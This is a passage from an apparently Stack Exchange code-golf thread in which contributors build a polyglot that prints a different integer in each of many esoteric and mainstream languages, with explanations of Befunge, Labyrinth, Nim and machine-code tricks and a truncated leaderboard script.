RnADLKgd7GbQ8/tctRu@x0tLJnt6piB14RH66x4SazzOuyM7fKT2HmdcyknG4TrpUznTKWhmk25@Dvc@xHZaseOsm1pjJ1Rn8CIfJlv1YjHszyCTFwY/WPauAcXnNkibDZLq5baxy2xa1UuW2sv/1Wam4zpmrz1saTXR3INyyret5/vduu9JxRy/zVHVRKutrcVNvRplKyqqfs8Ozw8CNcpqUfHao9rfsd@65ab28/q9axqVnf/RM@7Fel1P0TtNfd2H6yi8Fp51QpdQa1Ts/sGoNuTyldK6WruVJSSnZn9q5Gn97rbk1@GPsRz44x6CWHP@7vHe3XWx2j1Hr9tt46ev@y1MTLVmuxQjO0vIH1d/t7r9@@P65j@OeDD/vvD1@/9X0/yTwv8@LJ7tvtt5vWoFszDYMZJusOwMds9m335uamxmo31TzPq@ZMgiml193Ze8vogJMfldI72mQYfd3sDr4opV6pB5nNW42gcd5onjXPZhj5s8bnOG1MGpOm12w2Zw3@vjGcNYaNuOnhyfHTCDH0G6NZY9yIGhEBxRi4s4aLwQjPMS2NgOQzfvxGg7A3zmcgEzTF59OJzlijsbmtPas9L37sJzplGl@USr/IirYabT7z83ZF6l3T@LkTaGqzP2uNWqqOeKo912GhzQ1dN7QGxddN/VOz09G2t/RuV9tu6VhWKzM1TivatXbdnOv06GkNfaDPMerTVKU0L5FHRmxzS0e04PoXy25arU171inXdmvGLj52t9Ypvl6UPCF@01JOTl7vHe@dnNjNEpGxIHGzb6rNlnpyUq3QcdqUtsYBNwPc0RvPFRWfEuDsIR@DIu3IULwhJ@OHDp9yfjGdXvDl5xWKpc@fcTnJj1WFE7dNCs3BSXYZ5Ugnohhp6siftc0c0bAdxufMmdWbYuD5GCDPYmnm10M5Nau32tklheRgAbzdWEA3Vks7ppO5/hVTt5qqUvJAAgl5wjLcgPGo4laM5gt14xky143vsI5bkjp7HeqBxuakq5SaKuRRVaiPzTSmg3Wl1NfU05Lar1Sta6o5tURvz61qRT0FBlrHHgV7Ot3rEpuTbOaKR2X45vMS6@s0ca00550uRuUKYa7QnLERb8alcrkM92RddUN9ayo2/XsICZrkLSQOXCX2Jd5q3kTft0s7SWVjs9KHA2fZs2@88dhvfcNOvzS/bJctq1JpbTFml6TZNb/TS93WdyZS9tJAzjFtE5ODkjDTVhMqJMVE3qeTTycfW63W8@fP1db2b5b1taCI1WVgGHHcmdPwociwl/o/OZQYR8vogMFPUwSipdgZyT3wh0Lw63OFLtamxH@qYE4hvkiEGg1Q0bp1ka2zKjVPewOdXYtSwB8xjVaRIzRlSSKLr3yaRqzRViQQteDayyGokJkwmwBokgKB5tvNNvM7hAzfiB8FBfosdtRsGgY80gQX/kBvL2GWnHSxe42Xtf21mgSfS7bkedzQk8eWa8tXsBdSJ8HVit36HQBUYYCp9BuV4pj/zDGQ6mhLDHX2h49xZz9Cpb44k2BhtVjMr1QxV6o5vFyhY1eTtvKD5urXFMLbN@HTp@6npBcO2npo5/Rdq4XtuXKm@RKkmtuhbTTbCZht571azR/Yof6DlgjmQ7sBYNAmzJl@vdR0ZBfqyvT6VS8ybqJB/U0vqjUH9Wm9@tG@qjt2oz7DL8RWD@q/QngLUWq5fVWL2k4Hv5RN3JJEYmc1p31riracaYF91XMGdkNvB9hYq73BYcBn1gtqtYEO4gEW729sB0@fOrWgO2sHhqET1KeNF296OQaDmk3vO5rTmb246k2xf0fDtw0ygQ7mse@2DoAP/LUhY6m@FeuSxxmxNwN7oW1XP76ofqzaT55c9WZGOKhL8e80Voon5mfE/LqNaNWP64YlRCI6C5r6rb/zrVnNmFqH9UHI9WRtp@Sw@hErycob5v8H \"Bash – TIO Nexus\") of the polyglot. But I wanted to attempt to improve the VIP score as well if possible. And since I had a fulfilled all the requirements of the challenge, I felt ok about collaborating to golf down the code. So I stopped over at polyglot chat to seek some golfing help.\n## We must go deeper\n@ais523 demonstrated a technique of passing the instructions to the assembler as machine code with this statement.\n`.text;.long 2298589328,898451655,12,178790,1018168591,84934449,12597`\nMachine code is a series of numeric instructions executed directly by the CPU which can be represented in decimal, Hexadecimal or Octal. For our purposes decimal is the shortest since (hex takes a leading `0x` to represent). The `.long` statement here is making the declaration that what follows is a series of decimal machine code instructions.\nWell I poked at this statement as well for a bit to see what the assembler would allow, and made a couple changes. First, I found that I can remove `.text;` all together, with only warnings issues, which was a pretty sold byte saving. Then a while later I also found, [this statement](http://web.mit.edu/gnu/doc/html/as_7.html#SEC102) in the AS spec documentation\n> \n> .long is the same as .int\n> \n> \n> \nCool. So, we can make that swap for a quick byte. Now our assembly, but really machine code, was cut down to this:\n`.int 2298589328,898451655,12,178790,1018168591,84934449,12597`.\nWhile this is all well and good, it’s quite difficult to work with machine code directly and I wanted to at least see how to make all the translations. So ideally, we’d want to dissemble the machine code back to assembly. The easiest way of doing that is to take an object dump, which @ais523 demonstrated for me with this code snippet.\n[Here’s the code snippet.](https://tio.run/nexus/bash#HclLDsIwDADRfU7hA7ihTu3G3nCX9CMBAozU9Pxp6e6Nps2lwh1q3ELZoPNTftV7@TPEW4m@17DODw8@vZb984Pueq3F57dCSqaiNiRFNWWhUQQpIWXN1iP1pDSqGKGyDcxs5xXLBw)\nAnd here’s just the Assembly.\n```\nnop\nmov $0x1,%al\nmov %eax,%edi\nlea 0xc(%rip),%rsi\nmov $0x2,%dx\nsyscall \nmov $0x3c,%al\nxor %edi,%edi\nsyscall \n.byte 0x35\nxor %eax,(%rax)\n```\nThat link also shows some 2 character hex numbers alongside each line of assembly. Those correspond to the decimal instructions. For example, if you put `2298589328` into [this](http://www.binaryhexconverter.com/decimal-to-hex-converter) decimal to hex converter, you get `8901B090` back. And if you look closely, those are the first 4 hex instructions from the object dump (in reverse order).\nFrom what I can tell, sets of 4 hexadecimal numbers are always used to convert to decimal and the main byte saving trick being use here is to structure the assembly so that the last several hex numbers in our 4 sets are 00. These will then transform to leading zeros when we put them into the `.int` statement which are just omitted.\nThis is what’s happening in the `12` statement. In hex portion of the object dump this is `0c 00 00 00`.\nThis is as far as my understanding of Assembly has gotten in 2 weeks. What a crash course!\n## Incident\nIncident was a more difficult solve in the shorter assembly implementation because it weighted the polyglot tokens much heavier to the top. Here is the Incident report.\n* `!` in line 2 detokenizes `!`\n* The first `EA` on the INTERCAL line detokenizes itself\n* The last space on the second to last line detokenizes a space-space token.\n* `85` on the last line detokenizes\n* The `R` in `#\"3\"O.` detokenizes `R`\n* `65` in `<>{#65 }//` tokenizes `65`\n* `16` on the last line detokenizes itself\n* `89` on the last line tokenizes itself\n## Cardinal\nI just realized I made a change to Cardinal that I forgot to document. I spent some time poking around looking for ways to save bytes, and decided to learn Cardinal. After a little time with the documentation, I saw this line.\n> \n> `=` copies the pointer's active value into its inactive value.\n> \n> \n> \nThis was not a trick being used in the polyglot. The old solution included these instrucitons: `++~\\*t\n`++` incriments up to 2.\n`~` changes the active stack\n`*` adds the stacks.\nI realized that `~*` could be achieved with just the `=` instruction, so I reworked the solution to take out some useless stack swapping and add in this small byte saving.\n[Answer]\n# 1. Python 3 (8 bytes)\n```\nprint(1)\n```\nThis program prints **1** in Python 3.\nStarting this off with Python 3 because I know it's good for polyglots and can be taken in a number of different directions (also, I wanted to ensure that the first answer was in a relatively normal language, rather than an absurd esolang that's hard to polyglot with).\n[Answer]\n# 10. [Befunge](http://esolangs.org/wiki/Befunge), 95 bytes\n```\n#v02^0;7||\"<+0+0+0+<;n4\n#v0#@00\n#>3N.\n#|\\w*\n#8\n#|\n#M`\nprint(None and 9or 1/2and 1or 5)\n#jd5ki2\n```\nThere is a literal ESC character between `j` and `d` on the last line (grr, @ais523). It is not included in this code. To get the actual code, please go to the `Try it online` link.\nThis prints **1** in Python 3, **2** in Vim, **3** in Minkolang, **4** in <><, **5** in Python 2, **6** in SMBF, **7** in Japt, **8** in Retina, **9** in Perl, and **10** in Befunge.\nThis code shares `*` with Retina and `.` with Minkolang and SMBF.\n[Try it online](https://tio.run/nexus/befunge#@69cZmAUZ2BtXlOjZKNtAIY21nkmXEBxZQcDAy5lO2M/PS7lmphyLS5lCyCDS9k3gaugKDOvRMMvPy9VITEvRcEyv0jBUN8IxDQEMk01uZSzpFNMszON/v8HAA)\n# Explanation\n**Actual program**\n```\n#v02^\n @\n .\n *\n \n \n \n t\n 5\n#v02^\n```\nThe last line was written for clarity (*Befunge* playground is cyclic.)\n```\n#\n```\nTrampoline, skips `v`\n```\n02^\n```\nPush `0` and then `2` in stack and go up.\n```\n5t*.@\n```\nPush `5`, no-op, multiply two elements in stack (`2` and `5`), print, end program.\n[Answer]\n# 11. [Befunge 98](http://quadium.net/funge/spec98.html), 102 bytes\n```\n#v;2^0;7||\"<+0+0+0+<;n4\n#v0#_q@\n#>3N.\n#|\\w*\n#8 ^1b0<\n#|\n#M`\nprint(None and 9or 1/2and 1or 5)\n#jd5ki2\n```\nPrints:\n* 1 in [Python 3](https://tio.run/nexus/python3#@69cZm0UZ2BtXlOjZKNtAIY21nkmXMplBsrxhQ5cynbGfnpcyjUx5VpcyhYKCnGGSQY2QD6Xsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKWdJp5hmZxr9/w8A)\n* 2 in [Vim](http://v.tryitonline.net/#code=I3Y7Ml4wOzd8fCI8KzArMCswKzw7bjQKI3YwI19xQAojPjNOLgojfFx3KgojOCAgXjFiMDwKI3wKI01gCnByaW50KE5vbmUgYW5kIDlvciAxLzJhbmQgMW9yIDUpCiNqG2Q1a2ky&input=) - This takes quite a while to output for some reason...\n* 3 in [Minkolang v0.15](http://play.starmaninnovations.com/minkolang/?code=%23v%3B2%5E0%3B7%7C%7C%22%3C%2B0%2B0%2B0%2B%3C%3Bn4%0A%23v0%23_q%40%0A%23%3E3N%2E%0A%23%7C%5Cw*%0A%238%20%20%5E1b0%3C%0A%23%7C%0A%23M%60%0Aprint%28None%20and%209or%201%2F2and%201or%205%29%0A%23j%1Bd5ki2)\n* 4 in [><>](http://fish.tryitonline.net/#code=I3Y7Ml4wOzd8fCI8KzArMCswKzw7bjQKI3YwI19xQAojPjNOLgojfFx3KgojOCAgXjFiMDwKI3wKI01gCnByaW50KE5vbmUgYW5kIDlvciAxLzJhbmQgMW9yIDUpCiNqG2Q1a2ky&input=)\n* 5 in [Python 2](https://tio.run/#T9LZS)\n* 6 in [SMBF](http://smbf.tryitonline.net/#code=I3Y7Ml4wOzd8fCI8KzArMCswKzw7bjQKI3YwI19xQAojPjNOLgojfFx3KgojOCAgXjFiMDwKI3wKI01gCnByaW50KE5vbmUgYW5kIDlvciAxLzJhbmQgMW9yIDUpCiNqG2Q1a2ky&input=)\n* 7 in [Japt](http://ethproductions.github.io/japt/?v=master&code=I3Y7Ml4wOzd8fCI8KzArMCswKzw7bjQKI3YwI19xQAojPjNOLgojfFx3KgojOCAgXjFiMDwKI3wKI01gCnByaW50KE5vbmUgYW5kIDlvciAxLzJhbmQgMW9yIDUpCiNqG2Q1a2ky&input=)\n* 8 in [Retina](http://retina.tryitonline.net/#code=I3Y7Ml4wOzd8fCI8KzArMCswKzw7bjQKI3YwI19xQAojPjNOLgojfFx3KgojOCAgXjFiMDwKI3wKI01gCnByaW50KE5vbmUgYW5kIDlvciAxLzJhbmQgMW9yIDUpCiNqG2Q1a2ky&input=)\n* 9 in [Perl](https://tio.run/nexus/perl#@69cZm0UZ2BtXlOjZKNtAIY21nkmXMplBsrxhQ5cynbGfnpcyjUx5VpcyhYKCnGGSQY2QD6Xsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKWdJp5hmZxr9/w8A)\n* 10 in [Befunge 93](https://tio.run/nexus/befunge#@69cZm0UZ2BtXlOjZKNtAIY21nkmXMplBsrxhQ5cynbGfnpcyjUx5VpcyhYKCnGGSQY2QD6Xsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKWdJp5hmZxr9/w8A)\n* 11 in [Befunge 98](https://tio.run/nexus/befunge-98#@69cZm0UZ2BtXlOjZKNtAIY21nkmXMplBsrxhQ5cynbGfnpcyjUx5VpcyhYKCnGGSQY2QD6Xsm8CV0FRZl6Jhl9@XqpCYl6KgmV@kYKhvhGIaQhkmmpyKWdJp5hmZxr9/w8A)\nTo be perfectly honest, I have no clue why the Vim code takes 1 min to output. Also, no clue how Retina works.\nExplanation:\n```\n#v Skips the v, which would send the IP down\n ; Unlike '93, where ; is a no-op, '98 skips to the next ;\n and doesn't execute anything in between\n 2^0; Not executed, unlike Befunge 93\n 7| Pushes 7 onto the stack, and then sends the IP up, because 7 is not 0\nn0b1 n clears the stack, and #s are pushed until the stack is [0, 11, 1\n *. multiplies the top 2 values of the stack to give 11, and prints it (yay!)\n _ Sends the IP right, because the top value of the stack is 0\n q Ends the program (no-op for '93, which continues to @)\n```\nThings to note:\n* The `0` next to the `b` isn't strictly necessary in the code's current state, and the stack has been cleared. It can be removed if necessary, but allows for other stack manipulation beforehand as part of a possible future program.\n* The `_q@` is there as part of Retina (It doesn't work without it, don't ask me why). The addition of `q` also lets the '98 code run a `t` operation, which splits the IP (along with making the Retina program print 8 instead of 7)\n* The `_` is not a simple `>` because that would mess the SMBF part up.\n---\nEdit: Just realized that the `_q@` should probably be `@00` (Where 0s can be ~any char) to make the program more flexible in the future. I'm too lazy (and tired) to change all the links right now though. Will get around to it eventually...\nEdit 2: I Didn't expect 6 more answers this quickly. I guess it's staying as is. Great job everyone!\n[Answer]\n## 21. [Nim](http://nim-lang.org/) (161 bytes)\n```\n#v`16/\"<\"6/b.q@#;n4\"14\"\"\n#>3N6@15o|> ^*ttt*~++ %\n#=~nJ>62)#46(89999+++++!)=#print(17)#]#echo 21\n#8dggi2` |1|6\n```\nTwo ``s, between `8d` and between `2`` on the last line. You can tell that my previous one was golfed in a hurry, because I woke up this morning and realised I could take a bunch more off. I had 152 bytes but that seems to only work in Perl 5.24.0, so in the interest of compatibility with TIO I've kept the original expression for now.\nPrints 1 in Python 3, 2 in V, 3 in Minkolang, 4 in ><>, 5 in Python 2, 6 in SMBF, 7 in Japt, 8 in Retina, 9 in Perl, 10 in Befunge-93, 11 in Befunge-98, 12 in Fission, 13 in Ruby, 14 in Turtléd, 15 in Haystack, 16 in Pyth, 17 in Julia, 18 in Cardinal, 19 in Reng, 20 in Prelude and **[21 in Nim](https://tio.run/nexus/nim#JcuxDoIwFEDRvb/AUvtiQmkUX4EKoTTMDg6uRoKKQZaipHEi/DpiPNsd7gyfGlXINFPhbfsuIbcxw5gxAiY6qhKTfjS0CpxzwSQEXRMoJnvQJ4aS5QTOhLyGzjrfx1BebUMz2g8UI77xd0uKmFeotUqMUZJDrPw0W4ifFS/g/@KewwUe92dPJRJIvaZtO@nVdMRRzfMX)**.\nNote that Nim on ideone.com uses version 0.11.2, which is a tad too old, since this program relies on `#[ ... ]#` multiline comments added in early 2016.\n~~Thanks to Cardinal's Windows interpreter, my workflow now consists of two laptops and a Python `http.server` in between.~~\n---\nEdit — some more hints:\n* The `8` at the start of the last line is to set Retina's limit to the first 8 matches, otherwise without it Retina would output `2`. Note that this means the final line regex only needs to match at least 8 times in the second last line now, as opposed to exactly 8 — during my meddling I modified Prelude to get Retina right, but it turned out that was unnecessary in the end.\n* The mismatched quote at the end of the first line is so that Pyth doesn't complain about invalid syntax for the rest of the code.\n* If you modify the second line you might have to change the `6@` for Minkolang, which makes the pointer jump 6 spaces to land on the `^`.\n* There's a pair of `[]` now, so SMBF needs to be on a 0 cell before it hits the `[`, or alternative the interior needs to clear the cell.\nThere's probably more to golf (even now I see a stray space before the `%` for Cardinal), but I should really stop golfing in the wee hours of the morning.\n[Answer]\n# 36. [Labyrinth](http://esolangs.org/wiki/labyrinth), 647 bytes\n```\n#v`16/\"<\"6/b.q@\"(: ::Q): ␉␉␉␉ :(22)S#;n4\"14\"\n#>3N36!@@15o|>␉^?.*ttt*~++~~~%\n#= >␉1#v#v0l0mx01k1k0l0ix0jx0h0h1d111P0eU0bx0b0o1d0b0e0e00x1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10mx0m0l11111100(^_)\n#[␉\n#`<`|\nprint((eval(\" 1\\x2f2\")and(9)or(13))-(0and 4)^1<<(65)>>(62))or' (\\{(\\{})(\\{}[()])}\\{}\\{}\\{})'#46(8+9+9+9+9+=!)#1111|=/=1/24=x=9[<$+@+-@@@@=>+<@@@=>++.--.]/\n__DATA__=1#//\n#.\\.\"12\"␉*\n\"\"\"\"#//\n=begin␉//\n$'main'//\n#-3o4o#␉\n=end #//\n\"\"\"#\"#//\n#0]#echo 21#/ (\\[FAC,1<-#2FAC,1SUB#1<-#52FAC,1SUB#2<-#32FACLEGEREEX,1PLEASEGIVEUPPLEASE) a\n# +/Jn~\n#0␛dggi2␛`␉|1|6$//''25 >>>#>27.say# =#print(17)#$nd^_^_.]Q2229991#;abcd!fghij/+23!@\"26\n```\n`␉` is a literal tab, `␛` a literal ESC character; Stack Exchange would mangle the program otherwise. I recommend copying the program from the \"input\" box of the TIO link below, if you want to work on it.\n[Try them online!](https://tio.run/nexus/bash#jVjLVuNGGl6jV8imWlK3JWzdTEMCxm7oDp3TSSchDc3MOZhLWSrbBVLJkWRsHy5ntjNnFrOfzSznPWY7TzEvkvmqZIMNJh2BpZJU9f9/ff9dvxnyIPtpPOnFaUEKlhckyvgVy1zydkJ2KM/X62vWIOMJzSaEDot@mtk1svOuT0XINE0tz9JoGHLRI0WfES4Gw4J0ecxyLaQFaZHBlLwrB8QgGaNROU3rphmRS0hyGRNO1GGQPE3kw4Jlg4zhnBPBWETyAQt5l4eKOGHjgomcpyLXolSTC8PBI1b3dybDHHEvLhvQTImbkoGSfSb1KKODAfhpBjmADAVPWE54UckJozmX4GBJzkSkdjq4hy0lVMwLTK44JRT7GGaKds6yApK6ii7ps4yBJJXMexlNiDXKeIHdSCB2yT6jGTnMGLPBBQCyPKQDyLHAEsxSyaGQG3EV0Nvblb2f31cAeLnCpYNCM7K1w1@@1yhxm8Q8a@DX1PWGtvfTt@TabMsxpAAxKGWQWdQmzTuSe@02w28cdLxedquBqgZUYuKlg8IDZZoVEO9h5FzV3UE8x5ZsP9LEnBGUsyLognwQ5Kim9hUOs4xBigdI6SW2HKeiBzSx1WwoJBqCbPhQQJiKKK8RdgXMUlFqKB0pfA/7HCrLpUJoB/DQUCJfWraCE7YNI5riOeObp/FQzcPKvOBxLAHGUknxQ5cckS7lsVyC95JUKXXG8mFcyDVDEUm9J1ywyCUzMcI0kpOS9ArsKIiqB7D5ZM5TlFCYDDWkaqvy1f/@8c@o1wOd3TBMs2hqrEckSsNhAoGpEpbCEKW5poLGSizMq0nu5XIwuKIxj2gh2YvJlIUSQnEdpcM4IikYZiOeM9KnV/CrbpeFBStNPB0WkLFGEnpZ@jcv7RYbT2gHilUMFG9sWxmJkwyL7jfEGeyRSu6dWm@2rDcv2gzy2K69anperwELc1fVI9xVfs9YjnYfdKhJk9klXTYiMRW9Ie1hW6nAAhqGbFBM8QQueQHEHjuFeuhMPdzN@5q585izsvSp78/xkLZYet/UX6kEIUyTBApwYuic0Kyn9EIingG9ePKYOyZcPWKun8spCwKc68@IMAtTsGo2ZuGwAPisRkZ9HvbJSEknSvWVvvKYPR7Nc4cBOt171lKYoPWqrrne/SMpxrMkHKnop3QQAySp1sIDZRPzD9QGVSA@kPEcljuLutIzHoL8/eaBxvcypmTs1yHQhYPynpBTqLiP2HNGzXNRgZfznAMiGXs53hx@@Fm68p9YmUkAUhmG5v0wRV7B8mlslS9miGks7KfEEaQylcHSVSi8gFhenoVq4MzFf912AZclYVOvZoQuypT4OBaS1tN5imWlRo51/aSG8BPn0LcYxjFuhkI5hMXsaxhGyPLchXXDV12ZSCCdXmX27eLEop@lI8Ju7UZlGTulkEPs@SNCLvnIES3TLgL0Qw5WuXosU1Rb0wcTFAJibdF69Yc39TJXHHkJhScOJss9Wp8npRb8yMVlKjXvJbPRme8G6wskUCs8XdnleV@dFqY@EevpG7U6TzpddVoyQUjTeoSXepGkIi2ZAyEuqPdJXVx46DIJFh1hgf1bBlX1mLO55nW48Dqs@9zM92/fflBzup0Of24SYJCF0ey6ZFo27CxDqUPz/pNASRZwPhxmRexEXiGv7L9/iYD3U2306SRH/ry8H5wJNpKacbrPKme6VN6o03JFXgxj1FZfoBFSmTNpfD9YTmuLfGKwduQ0oUoqSBrHcEdAhoDx1JzhCfEwYrPrcqIKw8V4SwRPZL4YyLr1mRWPEkTJUJYVWZzSyCsLPc4etFfizMa0l4qJNxd83KzzB8SaxXDyUNkV/WExLM@ynPuSnvhA/n7P3aYz/fXdt8He9PLMfAix8Zydli6SIZI472N66XXk8KyL4fKtlpvJeA@14@z63DSWqyDjdNL00inr9dxDWkVFM6AhU672cLvUhn5Eao5Rsh/89Plg/3eNSXEEtSwuz0vJfRAhMpYovkwJMMTq9AetUC1ShhLS2PHdNd/j4SVx5jDkj1CPaWci24P@Fw1MJZBPqkq/L5RQopfNBZ7xbFpM5u6sXzMe3hJBUe8g48jxLPM3ynoz76syFcV/BPf5LLjK9SiLy0qrRjrI3ios/eff0bR677EiJwnPUZ32hGwdUU7109EbxbcsU9/tHhAHNaqSoUv0l87Xfq7XiLn76bujY/@kQnRzrE8Fle2HqrbvBS43Qyw53lehfVocJqpzUXtiI1UcoltBoyITnmwJUJDk6PUKW5G2EM4S1BzOQUHWZevLCtSW69Meh8gOFJzUVGKOyQ2aRzTPTkiCdR935VZiWWsnzYcsMp@4vW9ZZ6hcAF1afa2p9oE2cLulRhmLUlmQH5@2oxMvn6GB7u@lXx9LPF55UhXoGK9Nt@Xf3OR0ouu3FXuupd4bI6XDUmVro1oTTbbZEqp0WCyUziNe9MsaD4Vf2KeyEpCl36xekyJ14YYkxj5ly6H8LpcbJRJMl@zGOTrfKAJMnUkh0R2KoizR7us03SDCvbejGtG1J98G5NocgBezfhFNTJYpGfrIV6VVQTFRimkj1S2hIETJ6bquNgqlChSJZU0Pumd0YGWj0y4w/ut03MX47@X41JMq9Z50P@VGnuA3F4P4go9Nd75ECgJm/1oihMD4b@X4uO07dyfLmrBHYsyrEPynaQeuKRt@zHoHM@LFFtn5gQnBJmTJF6PyU9LDp6OnYu9VruMUocn0Gso@G7eQ8LxN2kW72xZSzMbE@8pzvca1ZcbNied5od2yzH4zqK6tVqumWLVM4QS2/eqVNOtbM2@aZ67u6mNMcszYbsBALZM2TdEw6bZlRs36qlqB22rVvsaCO/Sm1ya99cxXQKqGJxm7goUyy8xtWQL7rhvcQr6LlAvTqyV0cG3pRB/Lzw2SvcmrVSmDa55JAe689kEVkgP4A085U2OqfK@XNJS7VRah/@034@o82PD0bX3D67i/7ujWFtna@sXeImQFB9my6nX7wGiI13rwWteM1tpPaxsvdnaC9fSmtXL6xl0timL1rlq9u7t7qRlN0loJjCvjyo/9ZOwHl8ElRnzsX4z9vt8PoiAI9n322e@M/Y6fBhHODH/@GEPud8d@zxe@CIKxn2IQjv0Qgy7OPfmqCyIX@OO@L2lLFokfB@rwfev0zNaM4xXNON8@v9HUfi2LXdEYoAXtcb1b1204vbVpQzXBmm07li@DwGv7NNjetjbW7VbL2qjbeF0hVvsa/7e2PB1b9ol9i0H5b1eM1xvWN9XN6V/zhW1IEW6aXjPw6q@b4@bm8bZZ3ak6Oziarer29PLGaFVdx3FPPO3s7Nvdw92zs2ZgeJ5muG1XD@r6yqqm45CPmh3W42IFI7MiW5uKnOaspa9TY0Vryg@DyBZ4JqerBYZ/YqioVAdJyH/8fvddLdh2jLoaHHx@a8i79YfbOm7X5O3Hve/2Pu3t/bkW7H/c2z3Y@@7D0d7n/XJsEwqvI6TqfS/uwOSrqNfj9a/OV26Cmw3T8yqV@jpBn9cyWvWvXURsgzSNEvzga9swRXR6dnrmnvxSr9c3NzcDo0E7YfSi2@vzC69aX3uxo9c3/g8)\n## Rundown\nThis program prints 36 in Labyrinth, 35 in INTERCAL, 34 in Rail, 33 in Incident, 32 in Whirl, 31 in Modular SNUSP, 30 in Whitespace, 29 in Trigger, 28 in Brain-Flak, 27 in Perl 6, 26 in 05AB1E, 25 in Pip, 24 in Thutu, 23 in Hexagony, 22 in Underload, 21 in Nim, 20 in Prelude, 19 in Reng, 18 in Cardinal, 17 in Julia, 16 in Pyth, 15 in Haystack, 14 in Turtlèd, 13 in Ruby, 12 in Fission, 11 in Befunge-98, 10 in Befunge-93, 9 in Perl 5, 8 in Retina, 7 in Japt, 6 in SMBF, 5 in Python 2, 4 in ><>, 3 in Minkolang, 2 in V/Vim, and 1 in Python 3.\n## Verification\nMost of the languages are tested by the test driver shown above. You can test Reng [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/) and Modular SNUSP [here](http://www.quirkster.com/iano/snusp/snusp-js.html); they output 19 and 31 respectively. @ais523 helped debug and fix the Incident code, which now works.\n## How Labyrinth works\nLabyrinth starts off shifting some of the columns in the source around a little, but after a few steps the pointer gets to where the `N` is on the 2nd line (initially, by the time the pointer gets there it's no longer an `N` there), moving right, with a 0 at the top of the stack. Then, it simply pushes and prints a 36 and terminates with `36!@`\n## Things I Done Broke\nI knew I wanted to add Labyrinth, as it's one of the few esolangs I know a bit about. With it's debugger, I found that by changing the 8 in the last line to a 0, Labyrinth didn't get stuck in an infinite loop and, oddly, nothing else seemed to break. From there I just dumped in the raw 36 and output command I needed, and those conveniently led to an `@` to terminate things.\nThen, it was on to repairing what I broke: Minkolang, Cardinal, and Hexagony.\nThe `!` was making Minko skip the next character, which it needed to terminate, so I just added an extra `@`. So far, so good.\nThe change in length of the 2nd line made Cardinal miss it's output statement. Trying to add an extra `.` on the first line made Prelude lose its mind (no clue why, honestly), so I went a different method and just dropped it in the second line. That inadvertently spawned a 3rd Cardinal pointer, so I padded things with a `?` (not a necessary choice, just the first thing I found that fixed both Fission and Cardinal).\nHexagony was fortunately a relatively simple fix, I just threw in a string of letters so that the pointer found the code. I figured the alphabet shouldn't have appeared before and wouldn't cause problems with Incident. This is also when I realized I hadn't tested Incident. Thanks to @ai523, I found out I just needed an extra exclamation point, so the `e` in the alphabet string was changed to a `!`.\n## Scores from [The versatile integer printer](https://codegolf.stackexchange.com/questions/65641/the-versatile-integer-printer)\nJust for kicks and going of off @Stewie Griffin's comment on the question, here's a snippet that shows how each answer would have scored if it was entered into \"The Verstatile Integer Printer\". \n```\n// This was stolen/sloppily hacked together from the snippet here: https://codegolf.stackexchange.com/questions/55422/hello-world. Feel free to clean it up if you'd like.\n/* Configuration */\nvar QUESTION_ID = 102370; // Obtain this from the url\n// It will be like http://XYZ.stackexchange.com/questions/QUESTION_ID/... on any question page\nvar ANSWER_FILTER = \"!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe\";\nvar COMMENT_FILTER = \"!)Q2B_A2kjfAiU78X(md6BoYk\";\nvar OVERRIDE_USER = 8478; // This should be the user ID of the challenge author.\n/* App */\nvar answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page;\nfunction answersUrl(index) {\n return \"http://api.stackexchange.com/2.2/questions/\" + QUESTION_ID + \"/answers?page=\" + index + \"&pagesize=100&order=asc&sort=creation&site=codegolf&filter=\" + ANSWER_FILTER;\n}\nfunction commentUrl(index, answers) {\n return \"http://api.stackexchange.com/2.2/answers/\" + answers.join(';') + \"/comments?page=\" + index + \"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\" + COMMENT_FILTER;\n}\nfunction getAnswers() {\n jQuery.ajax({\n url: answersUrl(answer_page++),\n method: \"get\",\n dataType: \"jsonp\",\n crossDomain: true,\n success: function (data) {\n answers.push.apply(answers, data.items);\n answers_hash = [];\n answer_ids = [];\n data.items.forEach(function(a) {\n a.comments = [];\n var id = +a.share_link.match(/\\d+/);\n answer_ids.push(id);\n answers_hash[id] = a;\n });\n if (!data.has_more) more_answers = false;\n comment_page = 1;\n getComments();\n }\n });\n}\nfunction getComments() {\n jQuery.ajax({\n url: commentUrl(comment_page++, answer_ids),\n method: \"get\",\n dataType: \"jsonp\",\n crossDomain: true,\n success: function (data) {\n data.items.forEach(function(c) {\n if (c.owner.user_id === OVERRIDE_USER)\n answers_hash[c.post_id].comments.push(c);\n });\n if (data.has_more) getComments();\n else if (more_answers) getAnswers();\n else process();\n }\n }); \n}\ngetAnswers();\nvar SCORE_REG = /\\s*([^\\n,<]*(?:<(?:[^\\n>]*>[^\\n<]*<\\/[^\\n>]*>)[^\\n,<]*)*)[,\\(].*?(\\d+)(?=[^\\n\\d<>]*(?:<(?:s>[^\\n<>]*<\\/s>|[^\\n<>]+>)[^\\n\\d<>]*)*<\\/h\\d>)/;\nvar OVERRIDE_REG = /^Override\\s*header:\\s*/i;\nfunction getAuthorName(a) {\n return a.owner.display_name;\n}\nfunction getScore(langs, bytes) {\n var l = Math.pow(langs,3);\n return bytes/l;\n}\nfunction process() {\n var valid = [];\n \n answers.forEach(function(a) {\n var body = a.body;\n a.comments.forEach(function(c) {\n if(OVERRIDE_REG.test(c.body))\n body = '

' + c.body.replace(OVERRIDE_REG, '') + '

